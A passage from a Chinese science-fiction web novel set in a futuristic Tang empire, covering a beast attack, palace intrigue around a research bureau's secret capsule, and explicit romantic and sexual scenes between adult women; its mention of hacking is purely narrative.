“我放了一大波的纳米机器人到它体内。还以为六十息就能全面接管,没想到打完了,它也接管了。”
边烬:“原来如此,我就说为何这只鲲鹏级的异兽格外好控制,你的纳米机器人应该早就发挥作用了。”
沈逆粲然一笑,“谢谢师姐,我信了。”
沈逆嘴角沾着血,下巴也不知道何时蹭破了,额头至脖子沾着一层发亮的汗水,水光衬得她皮肤更白,鲜血更红。黑色的长发被晚风肆意揉乱,一双直视着边烬的张扬双眼里带着星辰般的光。
边烬:“你受伤了。”
沈逆靠过来,委屈道:“是,好疼的。”
漂亮的美人脸被伤成这样,边烬想看看她的伤势。
刚摸到她脸,飞天仪仗轰地一下降落到她们身后。
边烬立即收回了手。
第五阙从飞天仪仗中探出脑袋。
“是不是打扰你们了?”
沈逆礼貌微笑道:“打不打扰的,你们不是也落下来了么?”
不远处传来南衙十二卫的声音,边烬道:“你们都受伤了,回去再说。”
她也不想被自己已经康复的事儿泄露出去。
第五阙指着异兽的内核,“那个玩意……”
沈逆说:“放心,最高研发署就在这儿,护卫队会把内核送进去直接封印。不过话说回来,异兽可真会挑地方啊……”
沈逆想到了什么,神态有些琢磨。
贺兰濯头疼得要命,催促道:“走吧。”
边烬问:“贺节度使,你驾的这是?”
贺兰濯也问:“我驾的是?”
第五阙:“不会是……”
沈逆在万众瞩目中开口:“天子新一代御驾。当然,她老人家还没来得及驾,我们先开开光。”
众人:……
贺兰濯头更痛了,“认识靖安侯是不是得多备几条命?”
第五阙:“……你开的这是什么光,血光么?”
第57章
鲲鹏级异兽袭京的奏章连夜递到了御书房。
内侍急匆匆地转呈时,发现丽景门门主韩复居然在书房中。
李渃元轻轻咳嗽着,正坐在椅子上。
而韩复跪在她面前,青中泛白的双手握住她小小的脚,焐热了才将保暖的袜子拿来,仔细穿上。
李渃元安静地看向内侍,内侍知道韩门主是天子的绝对心腹,所有的事情都不会避着她。
内侍对这阴气沉沉的韩门主心有畏惧。
这可是个毒物,不小心沾到她的血都可能毙命的。
韩复就像完全察觉不到这间屋子里多了另外一个人,依旧专心地帮李渃元穿袜。
内侍速速将奏章放下,简单的说了一下今夜发生的事情后,李渃元就让他退下了。
李渃元拿起奏章,越看眉头拧得越紧。
“鲲鹏级的异兽,就这样堂而皇之出现在京城……”
想穿靴子,李渃元脚在空中迟疑了片刻,似乎在疑惑该怎么穿。
韩复握住她的脚,细心为她套上长靴时道:“有沈边二人在,长安不会有事。”
李渃元垂眸,问韩复:“你与边烬都是死城的孤儿,对她了解多少?”
韩复:“慈悲是她最大的弱点。只要长安城内还有一个活人,她就不会放弃这里。”
李渃元叹道:“可惜了,这样的人为何要叛国?”
李渃元感叹地抚摸韩复的脑袋,悲凉地笑着:
“阿复,这世万物都会变,人心更是易流难久。唯有你一直守在朕身边。”
韩复抬起那张美艳的脸,仰视着李渃元。
“臣这条命是陛下给的,只要陛下还需要臣,臣会一直、一直在守陛下身边。”
李渃元:“朕的阿复永远都不会让朕失望。抱朕回寝殿吧,朕困了。”
“喏。”
韩复抱起李渃元,穿过灯火通明戒备森严的游廊,走向寝殿。
眼前站着一个人,韩复脚步一顿,漫不经心地问候。
“殿下。臣正陪侍陛下,无法向殿下行礼,还请殿下恕罪。”
李煽若有所思地“嗯”了一声,“这么晚了,韩门主要送陛下回寝殿吗?”
“是。”
韩复抱着李渃元的姿态非常亲密,像拥着心爱的孩子,即便在大明宫中,面对李渃元疼爱的妹妹,也带着一种防备心。
仿佛李煽随时会将李渃元夺走一般。
单看这个画面,一个成熟的女人紧紧抱着一个年幼的孩子,好像没什么奇怪。
可一想到皇姐只是得了怪病,实际年纪已经四十多岁,一瞬间会有种不舒服的错位感。
此时李渃元已经睡了,李煽道:“我送皇姐回去就好。”
韩复没多说,将李渃元送到李煽怀中。
“殿下小心。”
在月光和灯火交映中,韩复那张靡丽的脸庞上浮现出让人毛骨悚然的笑容。
“千万别摔着陛下。”
李煽直视着韩复的脸,即便心有所惧,说出的话依旧冷硬强势。
“韩门主是觉得本王连皇姐都抱不住么?”
韩复淡笑不语。
李煽抱着李渃元转身离开,到了转弯处暗暗回眸,却是一惊。
韩复依旧保持着方才的动作,矗立在原地,耽耽虎视。
李煽心里快跳了几下,加速离开.
靖安侯府,工作室内。
第五阙的手指被沈逆接了回去。
“给你用合金替代了骨头,休息一段时日就没事了。这些天别用。”
第五阙活动活动手指,痛还是痛,但沈逆接骨缝合的技术太好,看上去只有些红肿。
不仅提升了骨头的强度,还完全不影响美观。
“谢谢啦逆逆,你这手艺鬼斧神工啊。”
“别叫我逆逆。你家节度使呢?问问她有没有伤着哪,需要我维修的。”
第五阙:“她你修不了,消耗太多精神力头痛,歇会儿就好。就是她和你家夫人在外面待着,两个人都不爱说话,得尬成什么样啊。咱们快出去救她们于水深火热。”
两人从工作室走到前厅,发现边烬和贺兰濯不仅不尴尬,还在小声说着什么。
看到她俩来了,很快停止。
沈逆和第五阙:?
怎么感觉被防了?
第五阙立即赖到贺兰濯身边,直接问:“你们在聊什么呢?”
沈逆心道,问得好。
她不好意思开口直接问,第五阙好意思,多问点。
贺兰濯暗暗递给边烬一眼,只道:“该回去了,我困了。”
沈逆:第五阙,她还没回答你的问题,速速追问!
第五阙:“好,我也困了,走。”
沈逆:?
沈逆:第五阙,你就是只主人摸一下脑袋连肉都不记得吃的蠢狗子。
沈逆和边烬一同送她们俩人出了府,招来侯府马车,送她们回帝国客栈。
马车安静地消失在午夜兴化坊的道路上。
边烬拢着一件薄薄的披肩,穿过前院时对沈逆道:“今天我去找倾洛了,她跟我说了一件事,没想到今晚就得到了验证。”
“什么?”
走入屋中,边烬将房门一关,跟沈逆说了曾倾洛和她的猜测。
沈逆倒是不太惊讶。
“我也发现了,异兽在有目的地往最高研发署的方向逃。研发署里有什么让它们觉得能够救它们于危难的事物吗?”
“会是巧合吗?”
沈逆道:“是不是巧合,去研发署探一探就知道了。凑巧了,正好我现在能在最高研发署中畅行无阻。”
边烬将披肩挂在龙门架上的,动作有些迟缓。
“师姐是有什么顾虑吗?”
边烬一时没说话。
“和李煽有关?”
“……”
沈逆直言不讳,直接戳中了边烬所想。
既然沈逆点了出来,边烬也没必要再藏着掖着,她坐到案几边道:
“李煽虽不可能登极,但她在京中的威望到底是七王之首。且她对你……”
沈逆知道她在想什么,直视她的眼眸道:
“你才是我的妻子。”
这几日沈逆在言语上愈发没有顾忌,边烬心头被她这句话弄得泛起酥软的好感。
“……总之,你若不方便行事,我可以想办法潜入最高研发署。”
沈逆没想到师姐居然连她这方面的情绪都照顾到了。
“我没有不方便。当初我想方设法得到最高研发署的权限,也是为了能探查更多。”
“你本想探查什么?”
最高研发署里尖端技术,对于沈逆而言像一本本过期杂志,有什么能吸引她的兴趣?
“那个胶囊。”
这倒是出乎边烬的意料。
“你是说,从未来世代投来的那个神秘胶囊?”
“对,胶囊是只有李家人才知道的最大秘密,不可能被丢弃。能藏在何处?戒备森严的最高研发署应该是个藏秘密的好地方。从很小的时候我听到胶囊的故事,就开始想,未来世代刺破了时间,只为了给一个未知的时代投放最尖端的技术么?可他们早就经历了科技爆炸,拥有数千年丰厚的历史底蕴,以史为鉴,会看不透先进的技术将给一个完全没有能力承载它的时代带来什么样毁灭性的伤害吗?但他们还是这么做了。”
沈逆按着手指算。
“胶囊里到底有什么,真正的目的到底是什么。黑魔方究竟是从何而来,和胶囊有没有关系。我都想知道。”
说到这两件事,压下两根手指。
边烬道:“胶囊出现在数百年前,而黑魔方的历史只有二十多年。”
“嗯,它们之间是否有联系,就是我感兴趣的点。还有。”
随后又压下一根。
“李渃元真的病重吗?她得怪病的那年并非是黑魔方出现的那年,可我有种直觉,她的病也与黑魔方有千丝万缕的联系。”
边烬:“武德十一年档案架上的内容我全部写入记忆模块了,暂时没有发现异常。”
“师姐复制一份给我,我来琢磨琢磨。”
“好。”
这一夜和异兽纠缠,浑身酸痛,还有些零星的伤口。
两人分别沐浴清理回来,边烬见沈逆嘴角的伤口红肿不堪,下巴一道血口。
清洗消毒之后,白皙洁净的肌肤将血口衬托得更加清晰。
边烬:“伤口没缝合?”
沈逆故意没缝合,边烬果然注意到了。
这会儿“哎?”了一声,好似才发现。
“忙忘了。”
正要用手去摸伤口,边烬微微蹙眉,握住她的手阻止道:
“自己不是医师?怎么会在没消毒的情况下触碰伤口?”
沈逆:“累,一累脑子就不够用了。”
边烬:“坐下我看看。”
沈逆乖乖坐下,边烬托着她下巴将脸抬起来,瞧了会儿伤口后说:“得缝合。”
“眼睛好酸,睁不开了……”
沈逆闭着眼,还有点儿用力闭着,秀气的眉眼都被她挤出一道小褶皱。
“那怎么办?”
“师姐帮我。”
边烬轻笑,将医药箱拿来,坐到她对面。
“不嫌弃我哪点粗糙的医术了?”
“我什么时候嫌弃过?”
边烬不争半点口舌,纵容着沈逆,仔细帮她缝上伤口,还道:“下次想让我帮忙缝合的话,直接说就好,不用耍赖。”
沈逆:……
原来师姐都看在眼里。
连被师姐看透的感觉都好喜欢。
边烬的医术在沈逆看来是有点糙,但实际上她的缝合手法在非医师行列里已经算精湛了。
人胜做得歪歪扭扭,缝合的走线倒是利落干脆,还是用美容针的手法缝的。
两针很快缝完,边烬收拾好医药箱,一抬眸,见沈逆痴痴地凝视着自己不知多久了。
那是种被吸引的心动。
坦诚的喜欢,明明白白地写在沈逆的眼眸里。
灯光映在沈逆脸庞上,星星点点的创伤,反而加深了她的美感。
边烬从未被任何人的美弄得心跳紊乱。
完全没想过,沈逆竟是那第一个。
灼人的目光太专注,仿佛一根细细的银丝,一圈圈绕在边烬心尖上,慢慢收紧,勒出闷闷的酥软窒闷,还有不知是痛是痒的隐隐欢愉。
“今天的亲密度还没提升呢。”
沈逆指尖勾了勾边烬的寝衣。
边烬道:“一场大战,受了伤,还忘不了这事儿。”
沈逆:……
也是,她的确有点累。
可是越累的时候,就越是想要师姐的气息啊。
沈逆心想,大概今晚是没戏了,师姐也累。
没想到,就要收回手的时候,指尖被勾住。
沈逆在讶异中抬眸。
边烬眼眸轻闪。
“是想接吻吗?”
连理模块是她提出来的,接吻成了每日必修课题,没什么好逃避。
沈逆以为自己听错了,可,这是真的,的确是边烬亲口说的。
沈逆用实际的行动告诉边烬,想,很想。
沈逆捧住边烬的脸,热吻长驱直入。
很深,边烬喜欢的那种。
边烬娇惯着沈逆侵占她的唇舌,软了眼眸。
不知是沈逆掠夺了太多的空气,还是吻得太舒服,边烬脑中有些晕眩,舌被缠得不知该如何是好,又被某种情绪勾着,想给予回应。
回探一点点。
得到了回应,沈逆心头急速升温,情急之下又坐到边烬的腿上,捧起边烬的脸,吻弄激烈,只弄得边烬忍不住漏出声来,嘴角水光轻闪。
“沈逆……”
“嗯……”
这个姿势下,边烬还是扣住了沈逆的臀侧。
一人的侵占,微妙地成了两人的预谋。
迷乱的热流在紧贴的两具身体间交换着,亲密度在只有两人的寝屋里缓缓上升。
不知是不是因为两人一起度过了异兽的危机,这次又是边烬主动提及要接吻,亲密度一口气增加到了四十二。
最后还是沈逆嘴角的伤口崩裂流血,才勉强作罢。
沈逆其实不太想管这点小伤,可两人口中尽是血腥味,边烬不让她再乱来。
沈逆不太尽兴,但浑身的倦意将她往睡眠之中拖拽。
入睡前沈逆的大脑在做今日最后的运转。
发出一封信。
其实不止那三点。
沈逆还有其他想知道的事。
回溯当初她顺利进入最高研发署,正是因为刘吉之死推波助澜。
而刘吉的死亡和恰巧发现他体内黑魔方这件事本身就很具戏剧性。
她从来都不信巧合,更何况是太过巧合。
将边烬身体里的另一个意识所做的事串一下。
假设救了刘吉一家的人真的是边烬,而刘吉身上的黑魔方真的与之有关。
那么,会得出一个惊人的结果。
边烬另一个意识开启了长安城中第一个黑魔方,在此推波助澜之下,沈逆很快得到了自由进入最高研发署的权限。而最高研发署藏着和异兽相关的秘密。
是边烬身体里另一个意识在推动着沈逆一步步往前走,走向未知的秘密。
走向一个她不知能不能承受的结果。
和刘吉的黑魔方属于“不同派系”的另一波迭代出智慧的黑魔方,也与那个意识有关系吗?
那个意识和边烬是什么关系,其实不难猜,沈逆已经有了清晰的方向。
李煽的话浮现在沈逆脑海里。
“边烬不过是在利用你。”
“费尽心思得到最高研发署的权限,回头你那便宜妻子就会利用你来窃取更多的帝国机密……到头来谁将谁玩弄于股掌之间,只怕你恍然大悟,为时已晚。”
所以现在是在利用我?
还是什么时候开始利用?
利用完之后呢?
沈逆在入睡前,嘴角流露出一丝翘盼的笑意。
迫不及待了。
第58章
帝国客栈内。
第五阙从浴室出来,头发还带着水汽。
贺兰濯躺在床上,方才被吻得发烫的身体已经渐渐恢复降温,正在与谁传信,第五阙出来她便将传信关闭,对第五阙道:
“有人联系你。”
吹风筒呼呼地吹着长发,第五阙的头发有些天生的卷曲,带着点暗红色,散开时有种和她本人性格不太相符的成熟风韵。
第五阙问:“谁啊?”
“谁知道,或许是你某位红颜知己。”
第五阙立即关了吹风筒,拿来手表一看,松了口气。
“是沈逆啦,她让我查一查最高研发署的事。”
贺兰濯戴着睡觉时都寸步不离的护目镜,随意拿起一卷书。
“这种天知地知你和你亲亲逆逆知的事儿,告诉我不合适。”
“怎么不合适,特别合适。”
第五阙从她身后抱上来,一边抚弄她原体的部位,一边看她在看什么。
贺兰濯身上很多义体和修复过的地方,腹部更有一处明显的手术缝合的痕迹。
两人第一次做的时候,第五阙就边做边问她怎么受了这么多伤。
当时贺兰濯眼前正在发白,缓了半天,翻脸不认人,对还捞着她腿弯的人说。
“跟你很熟吗?”
从那以后第五阙就知道,贺兰濯不喜欢别人打听她的私事,也就很有边界感不多问了。
虽然没亲口说过,但在频繁的情事中,第五阙自己探索出了贺兰濯的喜好。
比如,喜欢别人抚弄她所剩无几的原生肌肤。
比如,喜欢别人吻她的陈年旧伤。
再比如,喜欢别人用粗暴点的方式掌控她——仅限于床上。
平时高高在上的节度使大人,有些只有第五阙知晓的癖好。
也算是了解了部分的她吧。
贺兰濯扣着第五阙的手腕,丢到一旁。
“不是交代过你最近别用,这手不想要了?”
“嗯,不用……”
第五阙继续吻她腰上原生的肌肤,再往下。
贺兰濯注意力越来越无法集中,忍无可忍,摁住下方的脑袋。
“没用手。”
第五阙脸贴在贺兰濯白皙的腿上,粉色的舌尖探出双唇,展示给她看。
“明明喜欢得要命。”
“滚。”
第五阙没滚,反而在她雪白的大腿内侧肌群上咬了一口,留下一排暧昧的牙印。
继续,直到贺兰濯一声不吭放下手中的书,拉着她的脑袋,将她的脸和自己贴得更近。
某个时刻贺兰濯忽然抬起下巴,在压抑的轻颤中视野变得昏噩。
短时间内的又一次,贺兰濯不明白自己怎么就被第五阙弄得这么敏感。
浑身都是热汗,第五阙缠上来要吻她,就要接近她唇的时候,下巴被一把扣住。
“不许。”
“都是你的,怕什么。”
“滚。”
虽然都是滚,但这个“滚”字明显真情实感很多。
要是她再敢造次,贺兰濯一定会让明天的万维网上多一起“帝国客栈凶杀案”的热议。
第五阙只好从她身上滚了下去。
贺兰濯将第五阙的寝衣顺走,套在自己身上,去沐浴。
“我的亲亲宝贝贺姐姐,你这就不管我了?”
第五阙正难受,贺兰濯居然走了。
“自己弄。”
贺兰濯关上浴房门的时候丢下这句话。
第五阙:……
第五阙:“谁有自己弄的爱好啊,而且我手受伤了啊!”
浴室里响起了水声。
第五阙不舒服地拢腿时,暗暗定了一个坏心思,下次一定也让她难受一回。
和最让人回味无穷的那次一样,把她弄到生气,不甘不愿地求饶。
贺兰濯沐浴出来,看第五阙被子盖了半截,背对着她,怨气萦绕。
贺兰濯坐到她身后。
“弄好了?”
“哼。”
“哼?”
“没有。”
“哦,睡吧。”
第五阙还以为她要来哄,结果?
更气了。
气着气着就要睡着,忽然感觉盖在腰间的被子里有人钻了进来。
“嗯?”
火热的感觉弥漫在朦胧的睡意里,还没完全清醒,第五阙忽然低喘一声。
喘着重气睁开眼睛,红潮从下往上漫。
第五阙难以置信,“你,不是让我自己弄?”
贺兰濯擦着下巴,“骗你的。”
第五阙快被她迷死,摁住她的后颈猛然吻上。
贺兰濯嫌弃地“啧”了一声,第五阙笑道:“你嫌弃我。”
“对。”
话还没说完,贺兰濯就被她抱起,咬住喉咙,牙齿略略施力,摩蹭着皮肉。
微痛感让贺兰濯在沉默中舒服到战栗,双脚悬空,后背抵着墙,正在被野兽征服。
“只是咬了一下而已……贺姐姐。”
第五阙手背抵着,指尖向下,滴滴答答。
“……闭嘴。”
两人在公事上有默契,情事上也是如出一辙。
手指断了也无碍。
只用手背就足够了.
眼前是一片迷雾,边烬行走在迷雾之中,前方有个模糊的身影。
那身影没有说话,仿佛和边烬心灵相通,指引她往前走。
那是一团看不清样貌,也不见身形的黑色影子。像一抹幽灵,飘荡在迷雾之中。
“你已经忘了还要离开长安城吗?你这样对沈逆,待你离开,她该怎么办?”
不像普通的声音,而是直接传入边烬意识内的意识互通。
边烬:“我为什么要离开长安城?”
影子沉默了。
边烬抬手一扇,那迷雾烟消云散。
迷雾散尽,只剩下无边无际的黑。
像深不可测的深渊,无数的手从深渊里伸出来,拽着边烬的四肢,掐住她的喉咙。
呼吸越来越困难,但她还是要问。
“我为什么要离开长安城?”
蓦地睁眼,她醒过来了。
额头上有些汗意,心跳还有点快。
淡淡的梨花香萦绕鼻尖,这是她和沈逆的寝屋。
晨间的光透过窗帷落在地面上,天已经大亮了,沈逆还抱着她的胳膊,额头也抵着她的手臂,还在睡。
寝屋安静,温暖,和那个寒冷黑暗的梦境完全不同。
以前她居然没有疑惑过,为什么要离开长安城,离开后又要去哪儿。
又为什么一定是在某个时间点离开。
她甚至不确定,那个时间点到底是哪一天的哪个时辰。
梦境里的影子正在提醒她,不要忘记“指令”。
可是边烬为何要听从那个指令呢?
她先前为什么没有质疑,没有想过反抗?
谁给她下的指令?这个指令是否封锁在记忆模块禁区里?
是另一个意识下达的吗?
这么一想,去看床边的鞋。
摆得整整齐齐。
看沈逆睡得这么沉,昨晚应该没发生什么事.
昨夜鲲鹏级异兽出现在京师,今日一早沈逆果不其然收到了临时早朝的通知。
幸好,是线上朝会。
沈逆开开心心地洗漱后套了件官袍,就在寝屋里上朝。
边烬用完膳回来,帮沈逆把早膳端进屋时,听见沈逆正在就昨夜异兽事件和曹肃对峙,对得口若悬河。
等到她喷完了,别人启奏,沈逆默默低头,顺一块点心入口,从全息投影里面根本看不出来她的小动作。
边烬:……
上朝的时候偷吃糕点,靖安侯也算是古往今来第一人了。
沈逆在偷吃的时候,李渃元对于少府监武器库房被黑魔方入侵之事大为震怒,直接将林少府革职查办,整顿少府监。
与此同时,大大褒奖了沈逆,连带着贺兰濯跟第五阙都受到了奖赏。
沈逆谢恩的时候,嘴里还有些没有吃完的食物,硬撑着咬出了字正腔圆的谢恩台词,惹的边烬在一旁低笑。
下了早朝,沈逆对边烬说:“这个曹尚书可真是一块狗皮膏药,怎么甩都甩不掉。”
“今天他又怎么参你了?”
“不就是拿飞天仪仗说事儿么?可当时情况紧急,想要追异兽,必然得驾驶天子的仪仗。李渃元都没说什么,偏偏他紧抓着不放,说我没资格驾驶飞天仪仗,那潜台词恨不得说我要造反了。”
沈逆驾驶天子的仪仗满天飞去追异兽,这事情的确有些僭越,但边烬舍不得说她,只道:
“曹肃搭上了安王,现在正想在安王面前争功的时候。而那些言官一个个都想着青史留名,李渃元越不爱听的话他们越喜欢说,往后少不了被这些人纠缠。”
沈逆心道,干脆离开这儿,回双极楼得了。
可她知道边烬这段时间一有空就四下巡查,看看城内哪里有黑魔方的踪迹。
边烬一直心系百姓,不可能在这个时候隐居。
隐居的提议说出来不会得到她的认可,反而还会显出沈逆的自私。
可沈逆的确自私。
要不是边烬,她连城防都懒得修。
边烬要出门,沈逆问她:
“今日也要去兰台?”
“嗯,总觉得兰台还有一些我没有发现的细节,再去看看。”
边烬也想尽量在外面多走动,什么地方有黑魔方她也能够及时出现。
沈逆并不拆穿她。
连她的古板都令人心折。
很神奇,沈逆冷血薄情,完全不在乎任何陌生人性命,居然会喜欢边烬这种与她性格完全相反的人。
边烬要走,沈逆“嗯?”了声。
“师姐是不是忘了什么?”
边烬往身上寻了一圈,该带的都带了。
“忘了何物?”
“忘了今天的接吻。”
边烬问得很认真,得到这样的答案,眉眼尽是无奈。
“怎么一早就要……”
昨天主动问询的人,今天倒是吝啬地省略了最后两个字。
“今天我要去巡查城防,还不知哪个时辰能回。万一晚了你睡了,好不容易提升的亲密度又下降,岂不可惜?师姐就当每日例行公事,完成便好。”
边烬没说话,但默默将门合上。
这是默认的信号。
沈逆还是先抱住边烬的腰,唇迎上来。还未真正交叠,边烬的眼眸已经软了,缓缓合上。
这次边烬没有很煞风景地说“不必这么温馨。只做快速提升亲密度的事便可”。
唇齿还是有些被动,沈逆将她双唇张开时还是凶凶地闯进去,闯得很深。
边烬也不知是舒服还是难耐,不知该怎么做的舌被沈逆吮弄时,眉心慢慢蹙起。
一开始只是将提升亲密度当做任务来做,现在边烬不得不承认,和沈逆接吻这件事让她体验到了一种未想象过的快乐。
紧密纠缠的温度和热烈,灼得她心头发烫。
沈逆的手从要的腰间往下,托住她的臀,将她整个人往上抱。
“嗯……?”
边烬的唇舌还被堵着,声音含糊,但脚尖微微离地的不安全感,让她闷闷地哼出一声,扣着沈逆肩膀的动作加紧。
这是先前沈逆坐在边烬腿上和她接吻时相近的姿态,只是换成她托着边烬的臀。
柔软的触感让沈逆神志摇荡,舌尖往外勾着边烬,在诱着边烬完全不知所措的舌。
上次边烬只是稍微往外探了一点,一丝的主动便让沈逆心绪摇荡,迫切想边烬吮进来,可保守的边烬一直没那么做。
清冷至极,洁癖至极的边烬口腔是绝对的禁区,能纵着谁在她唇舌内肆意掠夺,已经超出沈逆的想象。
的确想象不到边烬充满占有欲,主动弄舌的模样。
但沈逆就想她这么做。
一点点勾着边烬的舌往自己这边来,边烬身体再次被抱得更高,脚尖已经要离地了,舌又被沈逆的小舌往外勾着,在诱惑她往沈逆的唇舌里去。
仿佛在告诉她,你可以占有我。
五指在用力,边烬手扶着沈逆的后脑勺,难耐地往她因上朝而梳理整齐的发丝里搅。
舌尖也往外顶了一下。
沈逆被她突然的侵入弄得舒服得漏了声,边烬不由自主吻得更深。
亲密度忽然增加到四十五。
居然一口气加了三。
沈逆将她抱离地面,缠弄着。
古板冷欲的边烬,在她的诱导下,一点点打开不为人知的另一面。
吻得喘息不止,沈逆更加肆无忌惮咬在边烬的唇上,不太轻,还磨了好几下,边烬被她磨得发颤。
沈逆:“只有我知道……”
“……嗯?”
“会接吻的师姐,被我吻到发抖的师姐,只有我才能知道。”
这是句调情的脏脏话。
换成任何一个人都不会当真,只会娇嗔几句。
边烬却在迷乱中抓回了点理智,微微思索了片刻后,认真地回应:
“好。”
第59章
自从黑魔方在京中肆虐后,城防进度飞快。
沈逆这两日都没在工程司待着,来到城防现场查看。
原本城防计划是第一阶段落地需要一整年的时日。
如今才过去个把月,已经完成了三分之一。
最高研发署的人来也来了,带着城防需要的材料,和工程司的人一一核对,登记在册。双方共同协作,难怪进度感人。
最高研发署和异兽间突然多了一层微妙的联系,沈逆越琢磨越觉得研发署很适合藏秘密。
最高研发署外部戒备森严,内部更是到处都是禁区,得使用专门的权限才能进入。
沈逆现在的权限是能够自由出入最高研发署,但仅限于自由出入大门。
她的权限是A级,只要通过署长李煽的许可,可以调派人力实用物力,可署内一大半的禁区她都是无法进入的。
第五阙的探查能力不在曾倾洛之下,这会儿已经将沈逆想要的相关资料发到加密账号上了。
当年那颗神秘的胶囊还真的存放在最高研发署。
藏在最高研发署戒备森严的第三层最深处。
那个房间每天都有人轮流值勤,严防死守的程度不逊于大明宫。
也不知道是不是边烬给她起的这个名字起坏了,沈逆顶着这叛逆的名字,天生反骨,专治不服。
越是藏着掖着的地方,她就越是想要进去看看有什么不可告人的秘密。
趁着工作间隙,打算黑一黑最高研发署的系统。
居然发现这防火墙有些难黑,万一被发现,容易暴露自己的身份。
在万维网和暗网上畅通无阻的双S级机械师,还是第一次被拒之门外。
这种水平的防火墙,应该不是李渃元这代人建立的。
构造非常古典,但极其坚固。
唐Pro帝国的科技发展已经达到巅峰,很难再超越。现存的很多技术都是先帝,甚至是先帝上一代留下的遗产,一直都没有更新换代,也不耽误使用,有时候反而比新产品更可靠。
据说最高研发署的上任署长天赋极高,师承神秘的双S级天才机械师,也就是消失了很久的那位传奇。
沈逆在最高研发署的系统里走了一圈,叹为观止。
她更倾向这个最高研发署的系统是那位传奇大师亲手打造的,的确不同凡响。
看来黑是不好直接黑的。
从工程司回府的路,沈逆骑着马,慢悠悠地穿过市集,在思索着还有什么办法能够在不被发现的情况下闯入禁地。
忽然尖叫四起,随后人群惊呼、跑动和物件被撞翻的动静响成一片。
这气氛她可太熟悉了。
有异兽作乱。
异兽的警报声拉满,蓝色的光霎时布满半个长安城。
是烛龙级异兽。
沈逆骑着马大喝一声,让平民立刻撤退到安全地方。
全身外骨骼战衣已经有个雏形,还没这么快做好,不过现下单臂的外骨骼对付这个烛龙级的异兽还算是绰绰有余。
那只异兽的体态看上去像一只狗。
不知道是黑魔方吞了谁家的护院犬拧出来的,还是只昂贵的战斗犬。
金吾卫已经在往这里赶,这只异兽一路撕咬,沈逆全程护着撤离的百姓,将它往人少的地方撵。
异兽被沈逆抽烂了屁股,十分狼狈地蹿到树林里,沈逆跟着用戒棍炮轰进去,它又在哀嚎声中跳了出来,浑身被火焰包围,惨叫着往护城河的方向狂奔。大概是想借用护城河水来灭火,还真是长了脑子。
沈逆驾马追到护城河畔,远远望去,那只异兽跳上一艘正在行驶的华贵画舫上。
画舫上隐约有人,这可不妙。
沈逆这架坐骑外观看着是匹马,却是一架水陆两用坐骑,启动水上模式,马变成了快艇。
沈逆架着快艇悄无声息地接近画舫。
能够在护城河上行驶,除了内廷审批的观光用画舫外,就只有皇亲国戚和朝廷重臣私家画舫。
而且各种画舫的规格也按照官阶等级严格划分,超出了规格是要受罚,甚至下狱的。
能驾驶这么一艘庞大华贵的画舫夜游护城河,身份昭然若揭。
沈逆想了想,登上画舫。
一上画舫就看见那只异兽被一个男人摁在了甲板上,脖子已经拧断。
男人的脑袋只有脸部的皮肤是原体,后脑勺连带着耳朵全都是坚硬的合金义体。
沈逆一眼扫过去就知道他是高度机械化的战斗天赋者,披坚执锐,是位武卫。
能够一个人弄死烛龙级的异兽,应该是S级的战斗天赋者。
武卫徒手将异兽的内核从体内拽出来,异兽发出一声惨叫,随后整个身体像断电的机械,立刻停止了运作。方才还充满力量的身体立刻冷却下去,肢体松散,犹如一堆凌乱的废铁。
动力油沿着武卫的机械手臂往下流淌,他那张原生脸刚毅冷酷,警惕地看着沈逆。
一道轻柔悦耳的女声从另一侧传来。
“看着吓人。康逸,将它处理了罢。”
“喏。”
名唤康逸的武卫把异兽躁动的内核投到装满了水银的箱子里。
这箱子沈逆熟悉,不就是最高研发组研制出来专门处理异兽内核的么?
倒是比她上回看到的尺寸小了许多。
看来最高研发署每日通宵用掉的电不算浪费。
李煽没好意思让沈逆帮她制作容易携带的虚电容手套之类的容器。
但也从她身上受到了启发,改小了箱体的尺寸,适合强壮有力之人随身携带。
金吾卫旅和丽景门都分配了一个箱子,杀了异兽取下内核,便往箱子里丢。
看来眼前这箱子,也是从最高研发署那儿来的了。
但这一男一女明显不是京师护卫,康逸看上去是这女人的家臣。
两人的口音和第五阙贺兰濯有些相似,不是京城口音,属于睦洲。
睦州正是安王治下。
据说安王年幼时就被送去了睦洲,已经待了很多年。
超大规格的画舫,徒手打死烛龙级异兽的武卫,睦州口音,和安王年龄吻合的神秘女人……
将这些线索串起来,很容易得到一个结果。
坐在花丛里的女人穿着薄薄的春装,樱花色的襦裙,如水的披帛,妆容淡雅却挡不住天生丽质,飘然若仙。
只是,在画舫上布置这么大一个鲜花丛,用的全是鲜切花。
有些人连路边野花都不忍心触碰。
有些人则一砍就是上万朵,穷奢极欲。
那女人懒着身子横卧花丛间,面向沈逆。
“这不是靖安侯吗?本来想过几天去府上拜访,没想到今天在这遇见了,那正好。康逸,给侯君看座。”
康逸搬了一张沙发,请沈逆坐下。
沈逆也不客气,直接舒舒服服地靠坐。
“应该是下官去拜访安王殿下才是。只是一直听闻殿下病重卧床,不好打扰。”
沈逆单刀直入,揭开那女人的身份。
眼前这人正是神秘的安王李极。
沈逆直接拆穿了她的身份,她也没否认。
李极笑道:“都是一些老毛病,加上京师干燥,还有些水土不服罢了。多谢侯君挂念。”
都说李极神秘,连同在睦州的第五阙都没有见过她的模样,今晚居然大大方方在沈逆面前露了脸。
自然是有备而来。
谈话间,康逸拿来一个小木盒,放在李极手边。
李极双眼微弯,风情万种,当真一副好皮囊。
“既然在这儿巧遇,为侯君准备的薄礼就在此处送给侯君了。希望侯君喜欢。”
沈逆还没说要收,李极自己打开了木盒。
沈逆看一眼,问:“这是谁的?”
木盒里躺着一枚破损的玉璧。
因为职业关系,沈逆经常接触玉璧,一眼就能看得出这块玉璧刚从身体里取出来不久。
李极手背搭在下巴上,“曹肃的。”
沈逆:……
沈逆:“他人,死了?”
李极喝着酒,笑道:“都说侯君姿容绝美,妒风笑月,更难得的是冰雪聪颖,整个长安城没有人能够拿捏得了你。没想到侯君犯傻的时候也这么可爱。玉璧都在这儿了,曹肃怎么可能还活得了?”
一口气喝完酒,放下酒盏,李极雪肤上浮着一层因酒气而起的红晕。
她娇笑着横卧在花丛中,晚风吹拂着玉体,守在一旁的康逸将目光移开了。
李极道:“曹肃这老匹夫总是找侯君的麻烦,如今他死了,侯君的耳根能清净些日子。”
沈逆:“殿下好凌厉的手段。曹肃是礼部尚书,官居四品,殿下说杀就杀?不怕内廷知晓此事么?”
李极惊讶地“啊”了一声,立即撑起上身,仿佛一条出水的美人鱼。
“侯君这就冤枉我,怎么会是我杀的呢?我一个手无缚鸡之力的弱女子,C级的精神天赋者,怎么杀得了朝廷命官?”
